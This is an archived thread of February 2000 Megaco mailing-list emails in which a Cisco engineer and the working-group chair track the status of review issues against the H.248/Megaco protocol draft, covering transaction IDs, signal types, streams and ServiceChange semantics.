Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07666
	for ; Fri, 4 Feb 2000 00:19:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E41CFC60@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22722 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:18 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A34408A0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:18
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08788; Thu, 3 Feb 2000 21:15:24 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000204000100.00b8f120@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:02:03 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 05:03 PM 2/2/00 -0500, Tom-PT Taylor wrote:

Tom-PT Taylor wrote:
>
>
>The necessary changes appear to have been made in v14.
Not quite - see below.
>
>-----Original Message-----  From:  Chip Sharp
>[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 8:07
>PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:      Cisco SG16:
>Transaction ID uniqueness
>
>Section:        D.1.1, second paragraph  Category:       Technical,
>Editorial  Issue:          The draft text specifies that "The transaction
>identifiers of  incoming messages are compared to the transaction
>identifiers of the recent  responses". This is inconsistent with Section
>8.1.1 where transaction  identifiers are defined to only be unique within
>the scope of a given  sender. Transaction identifiers should indeed be
>unique within the scope of  a given sender to avoid having to synchronize
>transaction identifiers  between MGC's, e.g. when handoff or failover is
>performed.  Proposal:       It is proposed that the text is modified to be
>consistent with  Section 8.1.1.
>
>v13 Status:     OPEN. No text changed.
v14: SEMI-CLOSED. Draft text now specifies that "The transaction
identifiers of incoming messages are compared to the transaction
identifiers of the recent responses from the same entity", however "from"
should be replaced with "to". Furthermore, "entity" should be clarified to
specifically state that it is determined based on "mID".
>
>
>Section:        D.1.1, second paragraph  Category:       Technical,
>Editorial  Issue:          The draft text specifies that "The remaining
>messages will be  compared to the list of current transactions. If a match
>is found,  indicating a duplicate transaction, the entity does not execute
>the  transaction, which is simply ignored". The above behaviour is
>sub-optimal  and will lead to unnecessary retransmissions and adjustment
>of  retransmission timers for subsequent transmissions. It is
>furthermore  inconsistent with the description in Annex
>D.1.4.  Proposal:       It is proposed that a "TransActionPending"
>response is returned  instead.
>
>v13 Status:     OPEN. No text changed.

v14: OPEN. No relevant text changed.
>
>
>Section:        D.1.1, last paragraph.  Category:       Technical,
>Editorial  Issue:          The draft text specifies that "For transactions
>that are  acknowledged through this parameter, the MG shall keep a copy of
>the  transaction-id for LONG_TIMER seconds after the response is issued,
>in  order to detect and ignore duplicate copies of the transaction
>response".  The sentence is incorrect as the purpose of the keeping the
>transaction-id  (but not the response) at the MG is to recognize duplicate
>transaction  requests which can then be ignored with it is known that the
>requestor  already received the response.  Proposal:       It is
>recommended that "transaction response" is changed to  "transaction
>request" in the above sentence. Furthermore, it is recommended  the "the
>MG" is changed to "the MG (or MGC)" as the behaviour applies to both.
>
>v13 Status:     OPEN. No text changed.
v14: CLOSED. Text updated.
>
>
>Section:        D.1.2, first paragraph, last
>line  Category:       Technical, Editorial  Issue:          The draft text
>specifies that "MGs can simply detect duplicate  transactions by looking
>at the transaction identifier only". This is  inconsistent with the
>"sender uniqueness only" requirement on transaction  identifiers in
>Section 8.1.1, which implied that MGs have to look at the  combination of
>"mId" and transaction identifier to identify a duplicate  transaction.
>
>Proposal:       It is recommended that the text is modified to be
>consistent with  Section 8.1.1, i.e. that the combination of transaction
>identifier and mId  identifies a given transaction.
>
>v13 Status:     OPEN. No text changed.
v14: CLOSED. Text updated.
>    Section:        D.1.2, fourth
> paragraph  Category:       Technical  Issue:          The draft text
> specifies that "The entity shall retain the union of  the "confirmed
> transaction-id ranges" received in recent messages". This is  inaccurate.
> More specifically, a given "confirmed transaction-id range" is  valid for
> LONG-TIMER seconds.  Proposal:       It is proposed that the text is
> modified to reflect the above.
>
>v13 Status:     OPEN. No text changed.

v14: CLOSED. Text updated.
>
>
>Section:        D.1.4, fourth
>paragraph  Category:       Technical  Issue:          The draft text
>specifies that "The transaction identifiers of  incoming transactions are
>compared...". The paragraph duplicates Section  D.1.1 and contains the
>same problem of ignoring the "sender uniqueness  only" requirement on
>transaction identifiers as well as not issuing a  provisional response
>when a duplicate request for an in-progress
>transaction.  Proposal:       It is proposed that the paragraph is either
>removed or the text  modified to reflect the "sender uniqueness
>requirement" and sending of a  provisional response.
>
>v13 Status:     OPEN. No text changed.
v14: CLOSED. Text removed (now Section D.1.5)
>

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07668
	for ; Fri, 4 Feb 2000 00:19:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E46947A0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22727 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:21 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A519B300@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:21
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08796; Thu, 3 Feb 2000 21:15:27 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Message-ID:  <4.2.2.20000204000359.00bbd6f0@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:04:42 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA07668

At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
>
>
>I have every sympathy with your first point -- I couldn't resist the 
>temptation to propose a new definition of BR.  The fact is, the way things 
>currently stand, we could abolish the signal type parameter and it would 
>make no difference to the operation of the protocol.  I suppose we would 
>have to define an "infinite" duration to simulate on/off as currently 
>defined, but even that might not be necessary.
>
>Speaking as chair, I suppose I have to say that the null hypothesis is 
>that we stick with our current text.  We have two other alternatives:
>
>(a) New distinctive definitions for BR, TO, OO, with the understanding 
>that the definition of a given signal indicates its default type, but that 
>type can always be overridden by the type parameter.
>
>  - BR duration is assumed to be known to the MG without explicit MGC 
> input.  BR signals can be stopped by detection of events without the 
> KeepActive parameter or by replacement of the current signal descriptor 
> with one not containing the indicated signal.
I would suggest they cannot be interrupted by events. If not, there's 
little reason for having them as well as TO signals.
>
>
>  - TO duration is given explicitly by the duration parameter.  A default 
> may be provisioned or defined in the package.  TO signals can be stopped 
> by detection of events without the KeepActive parameter or by replacement 
> of the current signal descriptor with one not containing the indicated signal.
>
>  - OO signals remain active until a signal descriptor with explicit 
> turn-off syntax comes into effect (Chip's proposal).
Sounds good.
>
>
>(b) Abolish signal type.
>
>If I see a sudden rush to agreement on something other than the existing 
>text I'll feed it into Geneva.  Otherwise things stay put and we can try 
>again for H.248v2 -- the protocol works as is.
I doubt it. This is such a fundamental property of the protocol that it is 
highly unlikely you would be able it in v2, not least considering the 
backwards compatibility restricion on package extensions. I would suggest 
doing it right the first time around.

Issue update and additions follow below.
>
>
>Comments to the other points follow them.
>-----Original Message-----  From:  Chip Sharp 
>[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:59 
>PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:      Cisco SG16: 
>Signals Operation

Section:         7.1.1, second paragraph, last paragraph
Category:     Technical
Issue no.:     14.2
Issue:          The draft text specifies that “Finally, there is an 
optional “notifyCompletion” that allows a MGC to request being notified of 
completion of the signal. The value of thi sparameter is a 
RequestIdentifier, allowing the MGC to correlate the Notify with the 
corresponding signal” and furthermore that “If the MGC requested 
notification of completion for a signal, a Notify command SHALL be sent by 
the MG upon completion of that signal. A Notify triggered by completion of 
a signal SHALL NOT affect the state of the eventbuffer or any active events 
descriptor”. There is already a mechanism in the protocol that supports 
this functionality, namely events. By using the event mechanism instead, 
the duplication of functionality is avoided, and event ordering between 
“events” and completed signals become trivial – currently they are an 
unsolved issue. Furthermore, it is unclear how this behavior interacts with 
the EventBuffer mechanism. For example, if an event has been notified, 
“EventBuffer” is on, and the signal now completes, it seems inconsistent to 
issue another Notify specific to the signal.
Proposal:     It is strongly suggested, that “notifyCompletion” is replaced 
by having the completion of the signal generating an event (e.g. “signal 
complete”) instead (notification of which may or may not have been 
requested). Furthermore, to account for signal failure, there should be a 
“signal failure” event as well.
Status:


>    Section:        7.1.10, fourth paragraph, first 
> bullet.  Category:       Technical, Open Issue  Issue:          The draft 
> text defines on/off signals "the signal lasts until it is  turned off", 
> however this definition is not clear. Specifically, it is not  clear if 
> an on/off signal is turned off by not being included in a  subsequent 
> SignalsDescriptor or if it is turned off by some explicit  action. In the 
> latter case, syntax is missing leading one to believe that  the former 
> definition is intended. The former definition on the other hand  is 
> somewhat problematic and overlaps the definition of time-out 
> signals  with an indefinite duration. Consider for instance a "visual 
> message  waiting indicator" defined as an on/off signal. Unless the 
> signal is  included in all subsequent SignalsDescritpors, the indicator 
> will be turned  off. The on/off signal type would be more useful (and not 
> a duplicate of  timeout) if this was not the case.  Also, it should be 
> noted, that the more general topic of signal types and  the details of 
> their operation has been the subject of much debate on the  IETF Megaco 
> mailing list since the white contribution was developed, and  that at 
> time of writing, no resolution had been found.
>
>Proposal:       It is recommended that the definition of on/off is 
>clarified in  accordance with the above and the missing syntax added.
>
>
>v13 Status:     OPEN. No substantial change has been made.

v14: OPEN. No relevant text changed.
>
>
>Section:        7.1.10, fourth paragraph, second 
>bullet  Category:       Technical  Issue:          The draft text defines 
>timeout signals as "the signal lasts until  it is turned off or a specific 
>period of time elapses", however there is no  mechanism specified for 
>informing the MGC when that specific period of time  has elapsed and thus 
>the signal has ended. The MGC may therefore be unable  to determine if a 
>given signal is playing in an MG or not. An example where  this is needed 
>is outpulsing with MF Feature Group D trunks where multiple  digit strings 
>(address and caller id) need to be outpulsed. MGC needs to  know when 
>outpulsing of the first string of digits has occurred before  requesting 
>out-pulsing of the next string.). Another example is a signal  activated 
>through an external event such as user input (by use of an  embedded 
>signals descriptor).
>
>Proposal:       It is strongly recommended that a mechanism for notifying 
>the MGC  upon timeout signal completion is added, e.g. in the form of an 
>event  ("operation complete"). Furthermore, it should be considered to add 
>another  event that would allow the MGC to be informed if generation of 
>the signal  fails for some reason (e.g. "operation failure"). It should be 
>noted, that  this may happen in the middle of the signals defined duration.
>
>v13 Status:     OPEN. No substantial change has been made.
>
>[[TomT]]  v14 adds the notifyCompletion parameter for every signal and 
>text on how completions are notified in section 7.2.7.  For failures we 
>have that generic failure event in E.1, but no text on how to apply it or 
>what request ID to use for it.

v14:    DISAGREE (see issue 14.2). A mechanism has been added.


Section:         7.1.17
Category:     Technical
Issue no.:     14.3
Issue:          The draft text specifies that “If a Notify is sent as a 
result of a signal completion, the ObservedEventsDescriptor contains the 
name of the signal that completed and the time at which it completed”. Cf. 
issue 14.2, this behavior is undesirable and should be replaced with an 
event instead thereby eliminating the need for specifying this special case.
Proposal: Assuming the proposed resolution to issue 14.2 is accepted, it is 
proposed that the above sentence is deleted.
Status:


Section:         7.2.8 (Notify), last three paragraphs
Category:     Technical
Issue no.:      14.5
Issue:          The draft text specifies that “…, or as a result of 
completion of a signal for which the MGC requested notification of 
completion”, and “…or the triggering SignalsDescriptor”, as finally “A 
Notify triggered by completion of a signal, contains the corresponding 
signal name in the ObservedEventsDescriptor”. However, as argued in issue 
14.2, this behavior is a special case that is inconsistent with the general 
event handling mechanism, incl. Notifications. If signal completion was not 
designed as a special case (which there is no reason to), this special case 
handling would not be necessary.
Proposal: Assuming the proposed solution to issue 14.2 is accepted, it is 
proposed to remove all of the above text segments.
Status:


>
>
>Section:                12.1.4  Category:       Technical, Open 
>Issue  Issue:          The draft text mentions SignalType CN (Continue), 
>however this  SignalType is not defined in Section 7.1.10 on Signals 
>Descriptor.  Also, it should be noted, that the more general topic of 
>signal types and  the details of their operation has been the subject of 
>much debate on the  IETF Megaco mailing list since the white contribution 
>was developed, and  that at time of writing, no resolution had been 
>found.  Proposal:       It is proposed that SignalType CN is removed from 
>the text.
>
>v13 Status:     OPEN. No text changed.
>
>[[TomT]]  Done.
v14. CLOSED. SignalType CN has been removed.
>    Section:        12.1.4  Category:       Technical, Open 
> Issue  Issue:          The draft text specifies that "Signals that would 
> be played with  SignalType BR should have a default duration"  Again, it 
> should be noted, that the more general topic of signal types and  the 
> details of their operation has been the subject of much debate on 
> the  IETF Megaco mailing list since the white contribution was developed, 
> and  that at time of writing, no resolution had been 
> found.  Proposal:       It is proposed that similar text is added as for 
> signals of  SignalType TO.
>
>v13 Status:     OPEN. No text changed.  [[TomT]]  See initial comments to 
>this message.
v14: OPEN. No text changed.
Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.          	
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:02 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07676
	for ; Fri, 4 Feb 2000 00:19:02 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E4AC1D00@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22732 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:23 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A632EB30@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:23
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08807; Thu, 3 Feb 2000 21:15:30 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000204000527.00a7e340@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:05:35 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Streams
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 05:09 PM 2/2/00 -0500, Tom-PT Taylor wrote:
>
>
>The first issue appears to have been resolved by the new v14 text in 7.1.6.
>
Not quite - see below
>
>With respect to the second issue, we now have the means to delete a stream
>implicitly on a termination: by specifying Reserve=FALSE and empty Local
>and Remote descriptors.  This meets the spirit of what Chip is asking for
>by making stream creation and deletion symmetric.  Can we get rid of
>Mode=delete?
Actually, this particular piece seems fine the way it is.
>
>-----Original Message-----  From:  Chip Sharp
>[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 8:03
>PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:     Cisco SG16:
>Streams
>
>Section:        7.1.4, second
>paragraph  Category:       Technical  Issue:          The draft text
>specifies that "A stream is identified by a  StreamID", however there is
>no uniqueness requirement on the StreamID which  may lead to inconsistent
>behaviour.  Proposal:       Since terminations, and thereby streams, may
>be moved between  different context, it is recommended that StreamIDs are
>defined to be  unique within a MG.
>
>v13 Status:     OPEN. No new text.
v14: OPEN. No new text.

Section:       7.1.6 (Stream Descriptor), first two bullets in bullet list
Category:    Technical, Editorial
Issue no.:    14.1
Issue:          The draft text specifies that "if a streamID of an active
stream in the moved termination matches a streamID in the context it was
moved to, the associated stream remains active on that termination" and "if
a streamID of an active stream in the moved termination does not match any
streamID in the context it was moved to, the stream SHALL be set to
inactive". Both the text and underlying intention is unclear. The text
seems to imply that streamID's for streams in different contexts somehow
affect the semantics of those stream when there associated terminations are
moved between contexts, however that does not seem to make much sense. An
identifier is an identifer. This issue may be related to issue 12.4.
Proposal:     A clarification of these two items are needed.
Status:



>    Section:        7.1.7, third
> paragraph  Category:       Technical  Issue:          The draft text
> specifies that "Mode set to delete is used to remove  a stream from a
> termination". There is no mention of how to add a stream  which would
> seem logical to be able to if you can delete a
> stream.  Proposal:       It is recommended that text describing how
> streams are added is  included.
>
>v13 Status:             OPEN. No text added.
v14: CLOSED. Relevant text added in 7.1.6.

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:02 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07685
	for ; Fri, 4 Feb 2000 00:19:02 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E4EECB50@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22737 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:25 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A70E5710@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:24
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08815; Thu, 3 Feb 2000 21:15:32 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000204000619.00ad1ce0@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:06:32 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Multiplex Descriptor in Add
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

At 01:45 PM 2/3/00 -0600, Tom-PT Taylor wrote:

 > Resend.
 >
 > > -----Original Message-----
 > > From: Taylor, Tom-PT [CAR:B904:EXCH]
 > > Sent: Thursday, February 03, 2000 2:44 PM
 > > To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
 > > Subject:      RE: Cisco SG16: Multiplex Descriptor in Add
 > >
 > > For the moment I see this as a "clarification" item.
 > >
 > > -----Original Message-----
 > > From: Chip Sharp [SMTP:chsharp@CISCO.COM]
 > > Sent: Tuesday, January 25, 2000 7:50 PM
 > > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
 > > Subject:      Cisco SG16: Multiplex Descriptor in Add
 > >
 > > Section:        7.2.1, third paragraph from bottom
 > > Category:       Technical
 > > Issue:          The draft text specifies that "if a Multiplex Descriptor
 > > is
 > > present in an Add command and lists any Terminations that are not
 > > currently
 > > in the Context, such Terminations are added to the context as if
 > > individual
 > > Add commands listing the Terminations were invoked". However it is not
 > > specified how errors encountered when adding such terminations are handled
 > > (normally, when wildcards are used, a response for each termination
 > > matched
 > > by the wildcard would be returned).
 > > Proposal:       It is proposed that the command fails and an error code is
 > > defined for this case is defined.
 > >
 > > v13 Status:     OPEN. No relevant text changed.

v14: CLOSED. Text added and new error code defined.

 >
 > >
 > > Section:        D.1.5, item number 4
 > > Category:       Editorial
 > > Issue:          The draft text does not point out the side-effect of a an
 > > Add command with a Mux-descriptor naming terminations not presently in the
 > > context. Such commands essentially operate as wild-carded Add commands and
 > > should consequently be mentioned as well.
 > > Proposal:       It is suggested that the following sentence is added to
 > > the
 > > end of rule 4: "This includes Add commands with a Mux-descriptor where the
 > > terminations in the Mux-descriptor are covered by the wild-carding in the
 > > Subtract command"
 > >
 > > v13 Status:     OPEN. No text changed.
 > >

v14: CLOSED. Multiplex descriptor text added (now Section 9.1)

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:03 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07698
	for ; Fri, 4 Feb 2000 00:19:02 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E531A0B0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:15:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22742 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 00:13:26 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A7C37640@standards.nortelnetworks.com>; Fri, 4 Feb 2000 0:13:25
          -0500
Received: from chsharp-tecra (chsharp-isdn.cisco.com [171.68.116.221]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          VAA08823; Thu, 3 Feb 2000 21:15:33 -0800 (PST)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Message-ID:  <4.2.2.20000204000716.00b21540@dogwood.cisco.com>
Date:         Fri, 4 Feb 2000 00:07:37 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Service Change
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA07698

At 08:51 PM 2/2/00 -0600, Tom-PT Taylor wrote:
>
>
>Comments below.
>-----Original Message-----  From:  Chip Sharp 
>[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:55 
>PM  [[TomT]]  snip
OK. Added the snipped stuff with updated status for completeness. Also note 
a couple of new issues here:

Section:         7.2.8 (ServiceChange), numbered list items two and three
Category:     Technical
Issue no.:     13.12
Issue:          The draft text has made significant changes to the 
semantics of the “Forced” and “Restart” ServiceChangeMethod since the Red 
Bank meeting. The old semantics guaranteed that the MG (or rather the 
affected terminations) would be in a known state following either a 
“Forced” or “Restart” ServiceChange. However the new semantics specified 
leaves the MG in an undefined state forcing the MGC to audit the MG to 
figure out what to do whenever it receives a “Forced” or “Restart” 
ServiceChange (consider the case where the primary MGC receives the 
“Forced” ServiceChange and the secondary (or another) MGC receives a 
subsequent “Restart” ServiceChange
Proposal:     It is strongly suggested that the MG (or affected 
terminations) will be in a known state when a “Forced” or “Restart” 
ServiceChange is issued. Consequently, the text should be brought back in 
line with the outcome of the Red Bank meeting.
Status:
     v14: OPEN. No relevant text changed.


Section:         7.2.8 (ServiceChange), numbered item six
Category:     Editorial/Technial
Issue no.:     14.7
Issue:          The draft text for “Failover” specifies that “…, and sent 
from MG to (new) MGC in response to the MG having received a ServiceChange 
with ServiceChangeMethod equal to Handoff”. It would seem to be more 
consistent if the MG sent a “Handoff” rather than a “Failover” to the (new) 
MGC in response to a handoff from the old MGC.
Proposal:     It is proposed, that above text segment is moved from the 
“Failover” method to the “Handoff” method.
Status:


Section:         7.2.8 (ServiceChange), fifth last paragraph
Category:     Technical, Editorial
Issue no.:     14.8
Issue:          The draft text specifies that “The MGC shall use this 
Addres, if specified, in its response to the ServiceChange command and any 
subequent commands and responses” and “The MG shall use this address for 
any subsequent communication with the MGC”. While it makes sense to require 
commands to be sent to this address, it is generally not a good idea to 
require this for responses, e.g. for clustered systems. Furthermore, 
Section 9 (Transport) also specifies that “Responses to commands are sent 
back to the source address of the commands”
Proposal:     It is strongly recommended, that commands will be sent to the 
address specified while responses will always be sent to the source address 
they came from.
Status:


Section:         7.2.8 (ServiceChange), third last paragraph
Category:     Editorial
Issue no.:     12.25
Issue:          The draft text specifies that “The ServiceChangeMethod 
shall be “forced” for this usage”. This is inconsistent with the 
description in Section 11.2  which specified a ServiceChangeMethod of 
“Restart”.
Proposal:     It is recommended that the above text be modified to use a 
ServiceChangeMethod of “Restart” instead.
Status:
     v13: CLOSED. Text has been modified.


Section:     7.2.8 (ServiceChange), last bullet list
Category:     Technical
Issue no.:     13.13
Issue:          The draft text specifies that “Profile required if 
terminationID is not ROOT, optional otherwise”. However there may not be a 
profile, in which case it makes little sense to require it. Secondly, it 
would seem to make more sense to require a profile when the terminationID 
in fact is ROOT as that would be the initial registration.
Proposal:     It is proposed, that the text is changed in accordance with 
above.
Status:
     v14: OPEN. No relevant text changed.


>
>
>Section:        11.2  Category:       Technical  Issue:          When a 
>gateway starts, it generates a restart ServiceChange  to the MGC. If the 
>MGC's response to the ServiceChange is lost while a  later command is 
>received by the gateway, how this command is handled is  not specified in 
>the draft text.  Proposal:       It is recommended that the gateway will 
>return an error.
>
>v13 Status:     OPEN. No text changed.
>
>[[TomT]]  Agreed in principle.  This triggered thoughts of flooding 
>attacks where the attacker masquerades as the MGC which it is indirectly 
>trying to flood with error messages.  I suppose we're OK so long as 
>authentication failures are discarded silently.  Anyway, I'll add a 
>"clarification" to section 8.3 stating that the MG should respond with an 
>error to authenticated messages from MGCs with which the MG is not 
>currently associated.   It's not quite so simple for MGCs receiving 
>messages from strangers -- I guess the MGC has to look inside to determine 
>whether to accept them.
v14: CLOSED. An error will be returned
>
>
>Section:        11.2  Category:       Technical  Issue:          The draft 
>text specifies that "If the MGC accepts the MG,  it will send a 
>Transaction Accept, with the MGCIdToTry set to itself. If  the MG receives 
>an MGCIDToTry not equal to the MGC it contacted, it send a  ServiceChange 
>to the MGC specified in the MGCIdToTry". It is inconsistent  to on one 
>hand accept the transaction as successful, yet on the other hand  require 
>the MG to examine the MGCIdToTry returned to determine if 
>the  registration really was successful or not. Examination of the 
>syntax  reveals that this is part of a larger problem where 
>unsuccessful  transactions, actions and commands are not able to return 
>any other  information than an ErrorDescriptor which can only contain an 
>error code  and text.  Proposal:       It is recommended that the above 
>procedure is replaced by  return of an error code and another MGCIdToTry 
>if the registration did not  complete. Furthermore, it is recommended that 
>ErrorDescriptors are extended  to allow return of other information 
>(essentially CommandReply) than only  an error code and text.
>
>v13 Status:     OPEN. No text changed  [[TomT]]  As I see it, redirection 
>is different from a transaction error.  The MGC processed the command 
>successfully, and the response contains useful information.  An error 
>should be thought of as a situation where the responder reached a dead end 
>when it tried to comply with the request.  In general recovery from an 
>error is pretty basic: kill the call.  In special cases the error code and 
>context should give enough information for recovery.
Not really. Think of SIP, HTTP, MGCP, etc. There are numerous return codes 
that have nothing to do with "errors" per se. In reality, these "error 
codes" are really "return codes" and maybe that's where the confusion arises.
Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.          	
--------------------------------------------------


